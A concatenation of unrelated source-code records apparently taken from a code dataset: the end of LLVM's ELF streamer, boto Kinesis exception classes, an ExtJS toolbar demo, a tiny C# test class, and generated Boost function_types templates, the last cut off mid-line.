MCELFStreamer::FinishImpl() {\n // Ensure the last section gets aligned if necessary.\n MCSection *CurSection = getCurrentSectionOnly();\n setSectionAlignmentForBundling(getAssembler(), CurSection);\n\n finalizeCGProfile();\n EmitFrames(nullptr);\n\n this->MCObjectStreamer::FinishImpl();\n}\n\nvoid MCELFStreamer::EmitThumbFunc(MCSymbol *Func) {\n llvm_unreachable(\"Generic ELF doesn't support this directive\");\n}\n\nvoid MCELFStreamer::EmitSymbolDesc(MCSymbol *Symbol, unsigned DescValue) {\n llvm_unreachable(\"ELF doesn't support this directive\");\n}\n\nvoid MCELFStreamer::EmitZerofill(MCSection *Section, MCSymbol *Symbol,\n uint64_t Size, unsigned ByteAlignment,\n SMLoc Loc) {\n llvm_unreachable(\"ELF doesn't support this directive\");\n}\n\nvoid MCELFStreamer::EmitTBSSSymbol(MCSection *Section, MCSymbol *Symbol,\n uint64_t Size, unsigned ByteAlignment) {\n llvm_unreachable(\"ELF doesn't support this directive\");\n}\n\nMCStreamer *llvm::createELFStreamer(MCContext &Context,\n std::unique_ptr<MCAsmBackend> &&MAB,\n std::unique_ptr<MCObjectWriter> &&OW,\n std::unique_ptr<MCCodeEmitter> &&CE,\n bool RelaxAll) {\n MCELFStreamer *S =\n new MCELFStreamer(Context, std::move(MAB), std::move(OW), std::move(CE));\n if (RelaxAll)\n S->getAssembler().setRelaxAll(true);\n return S;\n}\n"} {"text": "# -*- coding: utf-8 -*-\n# Copyright (c) 2012 Thomas Parslow http://almostobsolete.net/\n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish, dis-\n# tribute, sublicense, and/or sell copies of the Software, and to permit\n# persons to whom the Software is furnished to do so, subject to the fol-\n# lowing conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-\n# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n# IN THE SOFTWARE.\n#\nfrom boto.exception import BotoServerError\n\n\nclass ProvisionedThroughputExceededException(BotoServerError):\n pass\n\n\nclass LimitExceededException(BotoServerError):\n pass\n\n\nclass ExpiredIteratorException(BotoServerError):\n pass\n\n\nclass ResourceInUseException(BotoServerError):\n pass\n\n\nclass ResourceNotFoundException(BotoServerError):\n pass\n\n\nclass InvalidArgumentException(BotoServerError):\n pass\n\n\nclass SubscriptionRequiredException(BotoServerError):\n pass\n"} {"text": "Ext.define('Aria.view.Toolbar', {\n extend:'Ext.container.Container',\n alias:'widget.mysimpletoolbar',\n title:'Toolbar',\n\n requires: [\n 'Ext.menu.DatePicker',\n 'Ext.menu.ColorPicker',\n 'Ext.container.ButtonGroup'\n ],\n \n initComponent: function() {\n // functions to display feedback\n function onButtonClick(btn){\n Aria.app.msg('Button Click','You clicked the \"{0}\" button.', btn.displayText || btn.text);\n }\n\n function onItemClick(item){\n Aria.app.msg('Menu Click', 'You clicked the \"{0}\" menu item.', item.text);\n }\n\n function onItemCheck(item, checked){\n Aria.app.msg('Item Check', 'You {1} the \"{0}\" menu item.', item.text, checked ? 'checked' : 'unchecked');\n }\n\n function onItemToggle(item, pressed){\n Aria.app.msg('Button Toggled', 'Button \"{0}\" was toggled to {1}.', item.text, pressed);\n }\n\n var dateMenu = Ext.create('Ext.menu.DatePicker', {\n handler: function(dp, date){\n Aria.app.msg('Date Selected', 'You choose {0}.', Ext.Date.format(date, 'M j, Y'));\n\n }\n });\n\n var colorMenu = Ext.create('Ext.menu.ColorPicker', {\n handler: function(cm, color){\n Aria.app.msg('Color Selected', '<span style=\"color:#' + color + ';\">You choose {0}.</span>', color);\n }\n });\n\n var store = Ext.create('Ext.data.ArrayStore', {\n fields: ['abbr', 'state', 'desc'],\n data : [\n ['AL', 'Alabama', 'The Heart of Dixie'],\n ['AK', 'Alaska', 'The Land of the Midnight Sun'],\n ['AZ', 'Arizona', 'The Grand Canyon State'],\n ['AR', 'Arkansas', 'The Natural State'],\n ['CA', 'California', 'The Golden State'],\n ['CO', 'Colorado', 'The Mountain State'],\n ['CT', 'Connecticut', 'The Constitution State'],\n ['DE', 'Delaware', 'The First State'],\n ['DC', 'District of Columbia', \"The Nation's Capital\"],\n ['FL', 'Florida', 'The Sunshine State'],\n ['GA', 'Georgia', 'The Peach State'],\n ['HI', 'Hawaii', 'The Aloha State'],\n ['ID', 'Idaho', 'Famous Potatoes'],\n ['IL', 'Illinois', 'The Prairie State'],\n ['IN', 'Indiana', 'The Hospitality State'],\n ['IA', 'Iowa', 'The Corn State'],\n ['KS', 'Kansas', 'The Sunflower State'],\n ['KY', 'Kentucky', 'The Bluegrass State'],\n ['LA', 'Louisiana', 'The Bayou State'],\n ['ME', 'Maine', 'The Pine Tree State'],\n ['MD', 'Maryland', 'Chesapeake State'],\n ['MA', 'Massachusetts', 'The Spirit of America'],\n ['MI', 'Michigan', 'Great Lakes State'],\n ['MN', 'Minnesota', 'North Star State'],\n ['MS', 'Mississippi', 'Magnolia State'],\n ['MO', 'Missouri', 'Show Me State'],\n ['MT', 'Montana', 'Big Sky Country'],\n ['NE', 'Nebraska', 'Beef State'],\n ['NV', 'Nevada', 'Silver State'],\n ['NH', 'New Hampshire', 'Granite State'],\n ['NJ', 'New Jersey', 'Garden State'],\n ['NM', 'New Mexico', 'Land of Enchantment'],\n ['NY', 'New York', 'Empire State'],\n ['NC', 'North Carolina', 'First in Freedom'],\n ['ND', 'North Dakota', 'Peace Garden State'],\n ['OH', 'Ohio', 'The Heart of it All'],\n ['OK', 'Oklahoma', 'Oklahoma is OK'],\n ['OR', 'Oregon', 'Pacific Wonderland'],\n ['PA', 'Pennsylvania', 'Keystone State'],\n ['RI', 'Rhode Island', 'Ocean State'],\n ['SC', 'South Carolina', 'Nothing Could be Finer'],\n ['SD', 'South Dakota', 'Great Faces, Great Places'],\n ['TN', 'Tennessee', 'Volunteer State'],\n ['TX', 'Texas', 'Lone Star State'],\n ['UT', 'Utah', 'Salt Lake State'],\n ['VT', 'Vermont', 'Green Mountain State'],\n ['VA', 'Virginia', 'Mother of States'],\n ['WA', 'Washington', 'Green Tree State'],\n ['WV', 'West Virginia', 'Mountain State'],\n ['WI', 'Wisconsin', \"America's Dairyland\"],\n ['WY', 'Wyoming', 'Like No Place on Earth']\n ]\n });\n\n var combo = Ext.create('Ext.form.field.ComboBox', {\n hideLabel: true,\n store: store,\n displayField: 'state',\n typeAhead: false,\n queryMode: 'local',\n triggerAction: 'all',\n emptyText: 'Select a state...',\n editable: false,\n width: 135,\n iconCls: 'no-icon'\n });\n\n var menu = Ext.create('Ext.menu.Menu', {\n id: 'mainMenu',\n// style: {\n// overflow: 'visible' // For the Combo popup\n// },\n items: [\n// combo, // A Field in a Menu\n {\n text: 'I like Ext',\n checked: true, // when checked has a boolean value, it is assumed to be a CheckItem\n checkHandler: onItemCheck\n }, '-', {\n text: 'Radio Options',\n menu: { // <-- submenu by nested config object\n items: [\n // stick any markup in a menu\n '<b class=\"menu-title\">Choose a Theme</b>',\n {\n text: 'Aero Glass',\n checked: true,\n group: 'theme',\n checkHandler: onItemCheck\n }, {\n text: 'Vista Black',\n checked: false,\n group: 'theme',\n checkHandler: onItemCheck\n }, {\n text: 'Gray Theme',\n checked: false,\n group: 'theme',\n checkHandler: onItemCheck\n }, {\n text: 'Default Theme',\n checked: false,\n group: 'theme',\n checkHandler: onItemCheck\n }\n ]\n }\n },{\n text: 'Choose a Date',\n iconCls: 'calendar',\n menu: dateMenu // <-- submenu by reference\n },{\n text: 'Choose a Color',\n menu: colorMenu // <-- submenu by reference\n }\n ]\n });\n\n var tb = Ext.create('Ext.toolbar.Toolbar');\n var tb1 = Ext.create('Ext.toolbar.Toolbar');\n\n tb.add({\n text:'Button w/ Menu',\n iconCls: 'bmenu', // <-- icon\n menu: menu // assign menu by instance\n// }, {\n// text: 'Users',\n// menu: {\n// xtype: 'menu',\n// plain: true,\n// items: {\n// xtype: 'buttongroup',\n// title: 'User options',\n// columns: 2,\n// defaults: {\n// xtype: 'button',\n// scale: 'large',\n// iconAlign: 'left',\n// handler: onButtonClick\n// },\n// items: [{\n// text: 'User<br/>manager',\n// width: 90,\n// displayText: 'User manager'\n// },{\n// tooltip: 'Add user',\n// width: 100,\n// text: 'Add user'\n// },{\n// colspan: 2,\n// text: 'Import',\n// scale: 'small',\n// width: 130\n// },{\n// colspan: 2,\n// text: 'Who is online?',\n// scale: 'small',\n// width: 130\n// }]\n// }\n// }\n },\n '-', {\n text: 'Toggle Me',\n enableToggle: true,\n toggleHandler: onItemToggle,\n pressed: true\n });\n\n menu.add(' ');\n\n // Menus have a rich api for\n // adding and removing elements dynamically\n var item = menu.add({\n text: 'Dynamically added Item'\n });\n // items support full Observable API\n item.on('click', onItemClick);\n\n // items can easily be looked up\n menu.add({\n text: 'Disabled Item',\n id: 'disableMe' // <-- Items can also have an id for easy lookup\n // disabled: true <-- allowed but for sake of example we use long way below\n });\n // access items by id or index\n menu.items.get('disableMe').disable();\n\n\n var scrollMenu = Ext.create('Ext.menu.Menu');\n for (var i = 0; i < 50; ++i){\n scrollMenu.add({\n text: 'Item ' + (i + 1),\n handler: onItemClick\n });\n }\n \n tb1.add({\n text: 'Link',\n url: 'http://www.google.com/search',\n baseParams: {\n q: 'html+anchor+tag'\n },\n tooltip: 'This is a link. You can right click. You can see where it will take you'\n });\n\n // scrollable menu\n tb1.add({\n cls: 'x-btn-text-icon',\n text: 'Scrolling Menu',\n menu: scrollMenu\n });\n\n this.items = [\n {\n xtype: 'panel',\n title:'Toolbar Example',\n ariaRole: 'region',\n \n bodyPadding:12,\n width:700,\n height:250,\n header:true,\n dockedItems:{\n dock: 'top',\n items: [tb, tb1]\n }\n }\n ];\n\n this.callParent(arguments);\n }\n});"} {"text": "namespace NetArchTest.TestStructure.Nullable {\n \n /// <summary>\n /// An example class that has has non-nullable (i.e.null simple value typed) members.\n /// </summary>\n public class NonNullableClass2 {\n public int? _nullableIntField;\n\n public int NonNullableIntProperty {get; set;}\n }\n}"} {"text": "\n// (C) Copyright Tobias Schwinger\n//\n// Use modification and distribution are subject to the boost Software License,\n// Version 1.0. (See http://www.boost.org/LICENSE_1_0.txt).\n\n//------------------------------------------------------------------------------\n\n// no include guards, this file is intended for multiple inclusion\n\n// input: BOOST_FT_syntax type macro to use\n// input: BOOST_FT_cc empty or cc specifier \n// input: BOOST_FT_ell empty or \"...\"\n// input: BOOST_FT_cv empty or cv qualifiers\n// input: BOOST_FT_flags single decimal integer encoding the flags\n// output: BOOST_FT_n number of component types (arity+1)\n// output: BOOST_FT_arity current arity\n// output: BOOST_FT_type macro that expands to the type\n// output: BOOST_FT_tplargs(p) template arguments with given prefix\n// output: BOOST_FT_params(p) parameters with given prefix\n\n# include <boost/function_types/detail/synthesize_impl/arity10_1.hpp>\n# define BOOST_FT_make_type(flags,cc,arity) BOOST_FT_make_type_impl(flags,cc,arity)\n# define BOOST_FT_make_type_impl(flags,cc,arity) make_type_ ## flags ## _ ## cc ## _ ## arity\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,11)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 12 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,11) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,12)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 13 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,12) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,13)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 14 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,13) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,14)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 15 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,14) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 , typename T14 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,15)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 , T14 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 16 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\ntypedef typename mpl::next< iter_14 > ::type iter_15;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,15) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n, typename mpl::deref< iter_15 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 , typename T14 , typename T15 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,16)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 , T14 , T15 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 17 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\ntypedef typename mpl::next< iter_14 > ::type iter_15;\ntypedef typename mpl::next< iter_15 > ::type iter_16;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,16) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n, typename mpl::deref< iter_15 > ::type\n, typename mpl::deref< iter_16 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 , typename T14 , typename T15 , typename T16 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,17)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 , T14 , T15 , T16 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 18 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\ntypedef typename mpl::next< iter_14 > ::type iter_15;\ntypedef typename mpl::next< iter_15 > ::type iter_16;\ntypedef typename mpl::next< iter_16 > ::type iter_17;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,17) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n, typename mpl::deref< iter_15 > ::type\n, typename mpl::deref< iter_16 > ::type\n, typename mpl::deref< iter_17 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 , typename T14 , typename T15 , typename T16 , typename T17 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,18)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 , T14 , T15 , T16 , T17 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 19 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\ntypedef typename mpl::next< iter_14 > ::type iter_15;\ntypedef typename mpl::next< iter_15 > ::type iter_16;\ntypedef typename mpl::next< iter_16 > ::type iter_17;\ntypedef typename mpl::next< iter_17 > ::type iter_18;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,18) \n< typename 